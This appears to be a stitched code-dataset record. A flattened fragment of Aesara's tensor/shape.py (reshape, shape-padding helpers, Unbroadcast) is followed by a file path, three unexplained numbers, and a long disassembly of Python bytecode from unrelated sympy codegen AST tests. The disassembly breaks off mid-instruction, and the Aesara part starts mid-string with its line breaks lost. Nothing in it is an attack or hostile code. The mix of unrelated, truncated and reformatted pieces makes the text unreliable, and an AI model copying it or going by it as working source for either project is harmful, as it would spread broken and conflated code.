PyDimMem_FREE(newshape.ptr); if (!{z}) {{ //The error message should have been set by PyArray_Newshape {fail}; }} """ def reshape(x, newshape, ndim=None): if ndim is None: newshape = at.as_tensor_variable(newshape) if newshape.type.ndim != 1: raise TypeError( "New shape in reshape must be a vector or a list/tuple of" f" scalar. Got {newshape} after conversion to a vector." ) try: ndim = get_vector_length(newshape) except ValueError: raise ValueError( f"The length of the provided shape ({newshape}) cannot " "be automatically determined, so Aesara is not able " "to know what the number of dimensions of the reshaped " "variable will be. You can provide the 'ndim' keyword " "argument to 'reshape' to avoid this problem." ) op = Reshape(ndim) rval = op(x, newshape) return rval def shape_padleft(t, n_ones=1): """Reshape `t` by left-padding the shape with `n_ones` 1s. See Also -------- shape_padaxis shape_padright Dimshuffle """ _t = at.as_tensor_variable(t) pattern = ["x"] * n_ones + [i for i in range(_t.type.ndim)] return _t.dimshuffle(pattern) def shape_padright(t, n_ones=1): """Reshape `t` by right-padding the shape with `n_ones` 1s. See Also -------- shape_padaxis shape_padleft Dimshuffle """ _t = at.as_tensor_variable(t) pattern = [i for i in range(_t.type.ndim)] + ["x"] * n_ones return _t.dimshuffle(pattern) def shape_padaxis(t, axis): """Reshape `t` by inserting 1 at the dimension `axis`. Examples -------- >>> tensor = aesara.tensor.type.tensor3() >>> aesara.tensor.shape_padaxis(tensor, axis=0) DimShuffle{x,0,1,2}.0 >>> aesara.tensor.shape_padaxis(tensor, axis=1) DimShuffle{0,x,1,2}.0 >>> aesara.tensor.shape_padaxis(tensor, axis=3) DimShuffle{0,1,2,x}.0 >>> aesara.tensor.shape_padaxis(tensor, axis=-1) DimShuffle{0,1,2,x}.0 See Also -------- shape_padleft shape_padright Dimshuffle """ _t = at.as_tensor_variable(t) ndim = _t.ndim + 1 if not -ndim <= axis < ndim: msg = "axis {0} is out of bounds [-{1}, {1})".format(axis, ndim) raise IndexError(msg) if axis < 0: axis += ndim pattern = [i for i in range(_t.type.ndim)] pattern.insert(axis, "x") return _t.dimshuffle(pattern) register_shape_c_code( TensorType, """ npy_intp shape[] = {PyArray_NDIM(%(iname)s)}; if(%(oname)s == NULL || (PyArray_DIMS(%(oname)s)[0] != shape[0])) { Py_XDECREF(%(oname)s); %(oname)s = (PyArrayObject*) PyArray_SimpleNew(1, shape, NPY_INT64); } for(int i=0;i<shape[0];i++) { ((npy_int64*)PyArray_GETPTR1(%(oname)s, i))[0] = PyArray_DIMS(%(iname)s)[i]; } """, version=1, ) register_shape_i_c_code( TensorType, """ if(!%(oname)s) %(oname)s=(PyArrayObject*)PyArray_EMPTY(0, NULL, NPY_INT64, 0); ((npy_int64*)PyArray_DATA(%(oname)s))[0]=PyArray_DIMS(%(iname)s)[%(i)s]; """, """ if (%(i)s>=PyArray_NDIM(%(iname)s)){ PyErr_SetString(PyExc_TypeError, "Number of dimensions lower than expected"); %(fail)s } """, version=3, ) def specify_broadcastable(x, *axes): """Specify the input as being broadcastable in the specified axes. For example, specify_broadcastable(x, 0) will make the first dimension of x broadcastable. When performing the function, if the length of x along that dimension is not 1, a ValueError will be raised. Parameters ---------- x : tensor_like Input aesara tensor. axis : an int or an iterable object such as list or tuple of int values The dimension along which the tensor x should be broadcastable. If the length of x along these dimensions is not 1, a ValueError will be raised. Returns ------- tensor A aesara tensor, which is broadcastable along the specified dimensions. """ x = as_tensor_variable(x) if not axes: return x if max(axes) >= x.type.ndim: raise ValueError("Trying to specify broadcastable of non-existent dimension") shape_info = [1 if i in axes else s for i, s in enumerate(x.type.shape)] return specify_shape(x, shape_info) class Unbroadcast(COp): """ Mask static broadcastable dimensions of input as `None` See Also -------- unbroadcast <aesara.tensor.shape.unbroadcast> Examples -------- ``Unbroadcast((1,))(x)`` would make `x` second static dimension be `None` """ view_map = {0: [0]} _f16_ok = True c_code_and_version: Dict = {} check_input = False __props__ = ("axes",) _f16_ok = True def __init__(self, *axis): items = tuple(sorted(axis)) self.axes = items for axis in self.axes: if not isinstance(axis, (np.integer, int)): raise TypeError(f"Unbroadcast needs integer axes. Got {axis}") def __str__(self): return f"{self.__class__.__name__}{{{','.join(str(i) for i in self.axes)}}}" def make_node(self, x): x = as_tensor_variable(x) if x.type.ndim <= max(self.axes): raise ValueError("Trying to unbroadcast of non-existent dimension") shape = [ None if (sh == 1 and i in self.axes) else sh for i, sh in enumerate(x.type.shape) ] return Apply(self, [x], [x.type.clone(shape=shape)()]) def perform(self, node, inp, out_): (x,) = inp (out,) = out_ out[0] = x def grad(self, inp, grads): (x,) = inp (gz,) = grads return [specify_shape(gz, x.type.shape)] def infer_shape(self, fgraph, node, ishapes): assert len(ishapes) == 1 return [tuple(ishapes[0])] def R_op(self, inputs, eval_points): if eval_points[0] is None: return [None] return self(*eval_points, return_list=True) def c_code(self, node, nodename, inp, out, sub): (iname,) = inp (oname,) = out return f""" Py_XDECREF({oname}); {oname} = {iname}; Py_XINCREF({oname}); """ def c_code_cache_version(self): return (3,) def unbroadcast(x, *axes): """ Mask static broadcastable dimensions of input as `None` Parameters ---------- x : tensor_like Input aesara tensor. axis : an int or an iterable object such as list or tuple of int values The broadcastable dimensions of x that should be unbroadcasted. Returns ------- tensor A aesara tensor, with static broadcastable dimensions masked as `None` """ x = as_tensor_variable(x) unbroadcasted_axes = [axis for axis in axes if x.type.shape[axis] == 1] if not unbroadcasted_axes: return x return Unbroadcast(*unbroadcasted_axes)(x)
data/aesara-2.9.3/aesara/tensor/shape.py
16,015
9,005
323,619
LOAD_CONST 0 LOAD_CONST None IMPORT_NAME math STORE_NAME math LOAD_CONST 0 LOAD_CONST ('Tuple',) IMPORT_NAME sympy.core.containers IMPORT_FROM Tuple STORE_NAME Tuple POP_TOP LOAD_CONST 0 LOAD_CONST ('nan', 'oo', 'Float', 'Integer') IMPORT_NAME sympy.core.numbers IMPORT_FROM nan STORE_NAME nan IMPORT_FROM oo STORE_NAME oo IMPORT_FROM Float STORE_NAME Float IMPORT_FROM Integer STORE_NAME Integer POP_TOP LOAD_CONST 0 LOAD_CONST ('Lt',) IMPORT_NAME sympy.core.relational IMPORT_FROM Lt STORE_NAME Lt POP_TOP LOAD_CONST 0 LOAD_CONST ('symbols', 'Symbol') IMPORT_NAME sympy.core.symbol IMPORT_FROM symbols STORE_NAME symbols IMPORT_FROM Symbol STORE_NAME Symbol POP_TOP LOAD_CONST 0 LOAD_CONST ('sin',) IMPORT_NAME sympy.functions.elementary.trigonometric IMPORT_FROM sin STORE_NAME sin POP_TOP LOAD_CONST 0 LOAD_CONST ('Matrix',) IMPORT_NAME sympy.matrices.dense IMPORT_FROM Matrix STORE_NAME Matrix POP_TOP LOAD_CONST 0 LOAD_CONST ('MatrixSymbol',) IMPORT_NAME sympy.matrices.expressions.matexpr IMPORT_FROM MatrixSymbol STORE_NAME MatrixSymbol POP_TOP LOAD_CONST 0 LOAD_CONST ('Range',) IMPORT_NAME sympy.sets.fancysets IMPORT_FROM Range STORE_NAME Range POP_TOP LOAD_CONST 0 LOAD_CONST ('Idx', 'IndexedBase') IMPORT_NAME sympy.tensor.indexed IMPORT_FROM Idx STORE_NAME Idx IMPORT_FROM IndexedBase STORE_NAME IndexedBase POP_TOP LOAD_CONST 0 LOAD_CONST ('raises',) IMPORT_NAME sympy.testing.pytest IMPORT_FROM raises STORE_NAME raises POP_TOP LOAD_CONST 0 LOAD_CONST ('Assignment', 'Attribute', 'aug_assign', 'CodeBlock', 'For', 'Type', 'Variable', 'Pointer', 'Declaration', 'AddAugmentedAssignment', 'SubAugmentedAssignment', 'MulAugmentedAssignment', 'DivAugmentedAssignment', 'ModAugmentedAssignment', 'value_const', 'pointer_const', 'integer', 'real', 'complex_', 'int8', 'uint8', 'float16', 'float32', 'float64', 'float80', 'float128', 'complex64', 'complex128', 'While', 'Scope', 'String', 'Print', 'QuotedString', 'FunctionPrototype', 'FunctionDefinition', 'Return', 'FunctionCall', 'untyped', 'IntBaseType', 'intc', 'Node', 'none', 'NoneToken', 'Token', 'Comment') IMPORT_NAME sympy.codegen.ast IMPORT_FROM Assignment STORE_NAME Assignment IMPORT_FROM Attribute STORE_NAME Attribute IMPORT_FROM aug_assign STORE_NAME aug_assign IMPORT_FROM CodeBlock STORE_NAME CodeBlock IMPORT_FROM For STORE_NAME For IMPORT_FROM Type STORE_NAME Type IMPORT_FROM Variable STORE_NAME Variable IMPORT_FROM Pointer STORE_NAME Pointer IMPORT_FROM Declaration STORE_NAME Declaration IMPORT_FROM AddAugmentedAssignment STORE_NAME AddAugmentedAssignment IMPORT_FROM SubAugmentedAssignment STORE_NAME SubAugmentedAssignment IMPORT_FROM MulAugmentedAssignment STORE_NAME MulAugmentedAssignment IMPORT_FROM DivAugmentedAssignment STORE_NAME DivAugmentedAssignment IMPORT_FROM ModAugmentedAssignment STORE_NAME ModAugmentedAssignment IMPORT_FROM value_const STORE_NAME value_const IMPORT_FROM pointer_const STORE_NAME pointer_const IMPORT_FROM integer STORE_NAME integer IMPORT_FROM real STORE_NAME real IMPORT_FROM complex_ STORE_NAME complex_ IMPORT_FROM int8 STORE_NAME int8 IMPORT_FROM uint8 STORE_NAME uint8 IMPORT_FROM float16 STORE_NAME f16 IMPORT_FROM float32 STORE_NAME f32 IMPORT_FROM float64 STORE_NAME f64 IMPORT_FROM float80 STORE_NAME f80 IMPORT_FROM float128 STORE_NAME f128 IMPORT_FROM complex64 STORE_NAME c64 IMPORT_FROM complex128 STORE_NAME c128 IMPORT_FROM While STORE_NAME While IMPORT_FROM Scope STORE_NAME Scope IMPORT_FROM String STORE_NAME String IMPORT_FROM Print STORE_NAME Print IMPORT_FROM QuotedString STORE_NAME QuotedString IMPORT_FROM FunctionPrototype STORE_NAME FunctionPrototype IMPORT_FROM FunctionDefinition STORE_NAME FunctionDefinition IMPORT_FROM Return STORE_NAME Return IMPORT_FROM FunctionCall STORE_NAME FunctionCall IMPORT_FROM untyped STORE_NAME untyped IMPORT_FROM IntBaseType STORE_NAME IntBaseType IMPORT_FROM intc STORE_NAME intc IMPORT_FROM Node STORE_NAME Node IMPORT_FROM none STORE_NAME none IMPORT_FROM NoneToken STORE_NAME NoneToken IMPORT_FROM Token STORE_NAME Token IMPORT_FROM Comment STORE_NAME Comment POP_TOP LOAD_NAME symbols LOAD_CONST 'x, y, z, t, x0, x1, x2, a, b' CALL_FUNCTION UNPACK_SEQUENCE STORE_NAME x STORE_NAME y STORE_NAME z STORE_NAME t STORE_NAME x0 STORE_NAME x1 STORE_NAME x2 STORE_NAME a STORE_NAME b LOAD_NAME symbols LOAD_CONST 'n' LOAD_CONST True LOAD_CONST ('integer',) CALL_FUNCTION STORE_NAME n LOAD_NAME MatrixSymbol LOAD_CONST 'A' LOAD_CONST 3 LOAD_CONST 1 CALL_FUNCTION STORE_NAME A LOAD_NAME Matrix LOAD_CONST 1 LOAD_CONST 2 LOAD_CONST 3 BUILD_LIST CALL_FUNCTION STORE_NAME mat LOAD_NAME IndexedBase LOAD_CONST 'B' CALL_FUNCTION STORE_NAME B LOAD_NAME Idx LOAD_CONST 'i' LOAD_NAME n CALL_FUNCTION STORE_NAME i LOAD_NAME MatrixSymbol LOAD_CONST 'A22' LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION STORE_NAME A22 LOAD_NAME MatrixSymbol LOAD_CONST 'B22' LOAD_CONST 2 LOAD_CONST 2 CALL_FUNCTION STORE_NAME B22 LOAD_CONST <code object test_Assignment at 0x7fab703b05d0, file "f.py", line 72> LOAD_CONST 'test_Assignment' MAKE_FUNCTION STORE_NAME test_Assignment LOAD_CONST <code object test_AugAssign at 0x7fab70306390, file "f.py", line 97> LOAD_CONST 'test_AugAssign' MAKE_FUNCTION STORE_NAME test_AugAssign LOAD_CONST <code object test_Assignment_printing at 0x7fab70306ed0, file "f.py", line 133> LOAD_CONST 'test_Assignment_printing' MAKE_FUNCTION STORE_NAME test_Assignment_printing LOAD_CONST <code object test_CodeBlock at 0x7fab703064b0, file "f.py", line 155> LOAD_CONST 'test_CodeBlock' MAKE_FUNCTION STORE_NAME test_CodeBlock LOAD_CONST <code object test_CodeBlock_topological_sort at 0x7fab70306930, file "f.py", line 163> LOAD_CONST 'test_CodeBlock_topological_sort' MAKE_FUNCTION STORE_NAME test_CodeBlock_topological_sort LOAD_CONST <code object test_CodeBlock_free_symbols at 0x7fab70306660, file "f.py", line 207> LOAD_CONST 'test_CodeBlock_free_symbols' MAKE_FUNCTION STORE_NAME test_CodeBlock_free_symbols LOAD_CONST <code object test_CodeBlock_cse at 0x7fab70306db0, file "f.py", line 225> LOAD_CONST 'test_CodeBlock_cse' MAKE_FUNCTION STORE_NAME test_CodeBlock_cse LOAD_CONST <code object test_CodeBlock_cse__issue_14118 at 0x7fab70306c90, file "f.py", line 258> LOAD_CONST 'test_CodeBlock_cse__issue_14118' MAKE_FUNCTION STORE_NAME test_CodeBlock_cse__issue_14118 LOAD_CONST <code object test_For at 0x7fab703066f0, file "f.py", line 270> LOAD_CONST 'test_For' MAKE_FUNCTION STORE_NAME test_For LOAD_CONST <code object test_none at 0x7fab822586f0, file "f.py", line 277> LOAD_CONST 'test_none' MAKE_FUNCTION STORE_NAME test_none LOAD_CONST <code object test_String at 0x7fab82258db0, file "f.py", line 291> LOAD_CONST 'test_String' MAKE_FUNCTION STORE_NAME test_String LOAD_CONST <code object test_Comment at 0x7fab82258540, file "f.py", line 310> LOAD_CONST 'test_Comment' MAKE_FUNCTION STORE_NAME test_Comment LOAD_CONST <code object test_Node at 0x7fab82258390, file "f.py", line 316> LOAD_CONST 'test_Node' MAKE_FUNCTION STORE_NAME test_Node LOAD_CONST <code object test_Type at 0x7fab82258150, file "f.py", line 322> LOAD_CONST 'test_Type' MAKE_FUNCTION STORE_NAME test_Type LOAD_CONST <code object test_Type__from_expr at 0x7fab82258660, file "f.py", line 339> LOAD_CONST 'test_Type__from_expr' MAKE_FUNCTION STORE_NAME test_Type__from_expr LOAD_CONST <code object test_Type__cast_check__integers at 0x7fab82258030, file "f.py", line 350> LOAD_CONST 'test_Type__cast_check__integers' MAKE_FUNCTION STORE_NAME test_Type__cast_check__integers LOAD_CONST <code object test_Attribute at 0x7fab82258c00, file "f.py", line 367> LOAD_CONST 'test_Attribute' MAKE_FUNCTION STORE_NAME test_Attribute LOAD_CONST <code object test_Variable at 0x7fab82258d20, file "f.py", line 376> LOAD_CONST 'test_Variable' MAKE_FUNCTION STORE_NAME test_Variable LOAD_CONST <code object test_Pointer at 0x7fab82258f60, file "f.py", line 417> LOAD_CONST 'test_Pointer' MAKE_FUNCTION STORE_NAME test_Pointer LOAD_CONST <code object test_Declaration at 0x7fab82385150, file "f.py", line 438> LOAD_CONST 'test_Declaration' MAKE_FUNCTION STORE_NAME test_Declaration LOAD_CONST <code object test_IntBaseType at 0x7fab823851e0, file "f.py", line 469> LOAD_CONST 'test_IntBaseType' MAKE_FUNCTION STORE_NAME test_IntBaseType LOAD_CONST <code object test_FloatType at 0x7fab82385270, file "f.py", line 475> LOAD_CONST 'test_FloatType' MAKE_FUNCTION STORE_NAME test_FloatType LOAD_CONST <code object test_Type__cast_check__floating_point at 0x7fab823856f0, file "f.py", line 577> LOAD_CONST 'test_Type__cast_check__floating_point' MAKE_FUNCTION STORE_NAME test_Type__cast_check__floating_point LOAD_CONST <code object test_Type__cast_check__complex_floating_point at 0x7fab823858a0, file "f.py", line 601> LOAD_CONST 'test_Type__cast_check__complex_floating_point' MAKE_FUNCTION STORE_NAME test_Type__cast_check__complex_floating_point LOAD_CONST <code object test_While at 0x7fab823859c0, file "f.py", line 612> LOAD_CONST 'test_While' MAKE_FUNCTION STORE_NAME test_While LOAD_CONST <code object test_Scope at 0x7fab82385ae0, file "f.py", line 627> LOAD_CONST 'test_Scope' MAKE_FUNCTION STORE_NAME test_Scope LOAD_CONST <code object test_Print at 0x7fab82385b70, file "f.py", line 638> LOAD_CONST 'test_Print' MAKE_FUNCTION STORE_NAME test_Print LOAD_CONST <code object test_FunctionPrototype_and_FunctionDefinition at 0x7fab82385c90, file "f.py", line 654> LOAD_CONST 'test_FunctionPrototype_and_FunctionDefinition' MAKE_FUNCTION STORE_NAME test_FunctionPrototype_and_FunctionDefinition LOAD_CONST <code object test_Return at 0x7fab82385c00, file "f.py", line 682> LOAD_CONST 'test_Return' MAKE_FUNCTION STORE_NAME test_Return LOAD_CONST <code object test_FunctionCall at 0x7fab82385db0, file "f.py", line 690> LOAD_CONST 'test_FunctionCall' MAKE_FUNCTION STORE_NAME test_FunctionCall LOAD_CONST <code object test_ast_replace at 0x7fab82385f60, file "f.py", line 712> LOAD_CONST 'test_ast_replace' MAKE_FUNCTION STORE_NAME test_ast_replace LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL y CALL_FUNCTION POP_TOP LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_CONST 0 CALL_FUNCTION POP_TOP LOAD_GLOBAL Assignment LOAD_GLOBAL A LOAD_GLOBAL mat CALL_FUNCTION POP_TOP LOAD_GLOBAL Assignment LOAD_GLOBAL A LOAD_CONST (1, 0) BINARY_SUBSCR LOAD_CONST 0 CALL_FUNCTION POP_TOP LOAD_GLOBAL Assignment LOAD_GLOBAL A LOAD_CONST (1, 0) BINARY_SUBSCR LOAD_GLOBAL x CALL_FUNCTION POP_TOP LOAD_GLOBAL Assignment LOAD_GLOBAL B LOAD_GLOBAL i BINARY_SUBSCR LOAD_GLOBAL x CALL_FUNCTION POP_TOP LOAD_GLOBAL Assignment LOAD_GLOBAL B LOAD_GLOBAL i BINARY_SUBSCR LOAD_CONST 0 CALL_FUNCTION POP_TOP LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL y CALL_FUNCTION STORE_FAST a LOAD_FAST a LOAD_ATTR func LOAD_FAST a LOAD_ATTR args CALL_FUNCTION LOAD_FAST a COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST a LOAD_ATTR op LOAD_CONST ':=' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab8239adb0, file "f.py", line 83> LOAD_CONST 'test_Assignment.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab8239ad20, file "f.py", line 84> LOAD_CONST 'test_Assignment.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab703b0c00, file "f.py", line 85> LOAD_CONST 'test_Assignment.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab703b06f0, file "f.py", line 86> LOAD_CONST 'test_Assignment.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab703b08a0, file "f.py", line 87> LOAD_CONST 'test_Assignment.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab703b0f60, file "f.py", line 88> LOAD_CONST 'test_Assignment.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab703b09c0, file "f.py", line 89> LOAD_CONST 'test_Assignment.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL TypeError LOAD_CONST <code object <lambda> at 0x7fab703b0810, file "f.py", line 90> LOAD_CONST 'test_Assignment.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL TypeError LOAD_CONST <code object <lambda> at 0x7fab703b0300, file "f.py", line 91> LOAD_CONST 'test_Assignment.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL TypeError LOAD_CONST <code object <lambda> at 0x7fab703b04b0, file "f.py", line 92> LOAD_CONST 'test_Assignment.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL TypeError LOAD_CONST <code object <lambda> at 0x7fab703b0e40, file "f.py", line 93> LOAD_CONST 'test_Assignment.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL TypeError LOAD_CONST <code object <lambda> at 0x7fab703b0b70, file "f.py", line 94> LOAD_CONST 'test_Assignment.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL B LOAD_GLOBAL i BINARY_SUBSCR LOAD_GLOBAL A CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL B LOAD_GLOBAL i BINARY_SUBSCR LOAD_GLOBAL mat CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL mat CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL A CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL A LOAD_CONST (1, 0) BINARY_SUBSCR LOAD_GLOBAL mat CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL A LOAD_GLOBAL x CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL A LOAD_CONST 0 CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL mat LOAD_GLOBAL A CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Assignment LOAD_CONST 0 LOAD_GLOBAL x CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL x LOAD_GLOBAL x BINARY_MULTIPLY LOAD_CONST 1 CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL A LOAD_GLOBAL A BINARY_ADD LOAD_GLOBAL mat CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL Assignment LOAD_GLOBAL B LOAD_CONST 0 CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_GLOBAL x LOAD_CONST '+' LOAD_GLOBAL y CALL_FUNCTION POP_TOP LOAD_GLOBAL aug_assign LOAD_GLOBAL x LOAD_CONST '+' LOAD_CONST 0 CALL_FUNCTION POP_TOP LOAD_GLOBAL aug_assign LOAD_GLOBAL A LOAD_CONST '+' LOAD_GLOBAL mat CALL_FUNCTION POP_TOP LOAD_GLOBAL aug_assign LOAD_GLOBAL A LOAD_CONST (1, 0) BINARY_SUBSCR LOAD_CONST '+' LOAD_CONST 0 CALL_FUNCTION POP_TOP LOAD_GLOBAL aug_assign LOAD_GLOBAL A LOAD_CONST (1, 0) BINARY_SUBSCR LOAD_CONST '+' LOAD_GLOBAL x CALL_FUNCTION POP_TOP LOAD_GLOBAL aug_assign LOAD_GLOBAL B LOAD_GLOBAL i BINARY_SUBSCR LOAD_CONST '+' LOAD_GLOBAL x CALL_FUNCTION POP_TOP LOAD_GLOBAL aug_assign LOAD_GLOBAL B LOAD_GLOBAL i BINARY_SUBSCR LOAD_CONST '+' LOAD_CONST 0 CALL_FUNCTION POP_TOP SETUP_LOOP to 236 LOAD_CONST '+' LOAD_GLOBAL AddAugmentedAssignment BUILD_TUPLE LOAD_CONST '-' LOAD_GLOBAL SubAugmentedAssignment BUILD_TUPLE LOAD_CONST '*' LOAD_GLOBAL MulAugmentedAssignment BUILD_TUPLE LOAD_CONST '/' LOAD_GLOBAL DivAugmentedAssignment BUILD_TUPLE LOAD_CONST '%' LOAD_GLOBAL ModAugmentedAssignment BUILD_TUPLE BUILD_LIST GET_ITER FOR_ITER to 234 UNPACK_SEQUENCE STORE_FAST binop STORE_FAST cls LOAD_GLOBAL aug_assign LOAD_GLOBAL x LOAD_FAST binop LOAD_GLOBAL y CALL_FUNCTION STORE_FAST a LOAD_FAST cls LOAD_GLOBAL x LOAD_GLOBAL y CALL_FUNCTION STORE_FAST b LOAD_FAST a LOAD_ATTR func LOAD_FAST a LOAD_ATTR args CALL_FUNCTION LOAD_FAST a DUP_TOP ROT_THREE COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST b COMPARE_OP == POP_JUMP_IF_TRUE JUMP_FORWARD to 196 POP_TOP LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST a LOAD_ATTR binop LOAD_FAST binop COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST a LOAD_ATTR op LOAD_FAST binop LOAD_CONST '=' BINARY_ADD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab703b0ae0, file "f.py", line 119> LOAD_CONST 'test_AugAssign.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab703b0db0, file "f.py", line 120> LOAD_CONST 'test_AugAssign.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab703b0930, file "f.py", line 121> LOAD_CONST 'test_AugAssign.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab703b0540, file "f.py", line 122> LOAD_CONST 'test_AugAssign.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab703b0030, file "f.py", line 123> LOAD_CONST 'test_AugAssign.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab703b0660, file "f.py", line 124> LOAD_CONST 'test_AugAssign.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL ValueError LOAD_CONST <code object <lambda> at 0x7fab703b01e0, file "f.py", line 125> LOAD_CONST 'test_AugAssign.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL TypeError LOAD_CONST <code object <lambda> at 0x7fab703b0150, file "f.py", line 126> LOAD_CONST 'test_AugAssign.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL TypeError LOAD_CONST <code object <lambda> at 0x7fab703b0ed0, file "f.py", line 127> LOAD_CONST 'test_AugAssign.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL TypeError LOAD_CONST <code object <lambda> at 0x7fab703b0390, file "f.py", line 128> LOAD_CONST 'test_AugAssign.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL TypeError LOAD_CONST <code object <lambda> at 0x7fab703b0d20, file "f.py", line 129> LOAD_CONST 'test_AugAssign.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_GLOBAL raises LOAD_GLOBAL TypeError LOAD_CONST <code object <lambda> at 0x7fab70306270, file "f.py", line 130> LOAD_CONST 'test_AugAssign.<locals>.<lambda>' MAKE_FUNCTION CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_GLOBAL B LOAD_GLOBAL i BINARY_SUBSCR LOAD_CONST '+' LOAD_GLOBAL A CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_GLOBAL B LOAD_GLOBAL i BINARY_SUBSCR LOAD_CONST '+' LOAD_GLOBAL mat CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_GLOBAL x LOAD_CONST '+' LOAD_GLOBAL mat CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_GLOBAL x LOAD_CONST '+' LOAD_GLOBAL A CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_GLOBAL A LOAD_CONST (1, 0) BINARY_SUBSCR LOAD_CONST '+' LOAD_GLOBAL mat CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_GLOBAL A LOAD_CONST '+' LOAD_GLOBAL x CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_GLOBAL A LOAD_CONST '+' LOAD_CONST 0 CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_GLOBAL mat LOAD_CONST '+' LOAD_GLOBAL A CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_CONST 0 LOAD_CONST '+' LOAD_GLOBAL x CALL_FUNCTION RETURN_VALUE LOAD_GLOBAL aug_assign LOAD_GLOBAL x LOAD_GLOBAL x 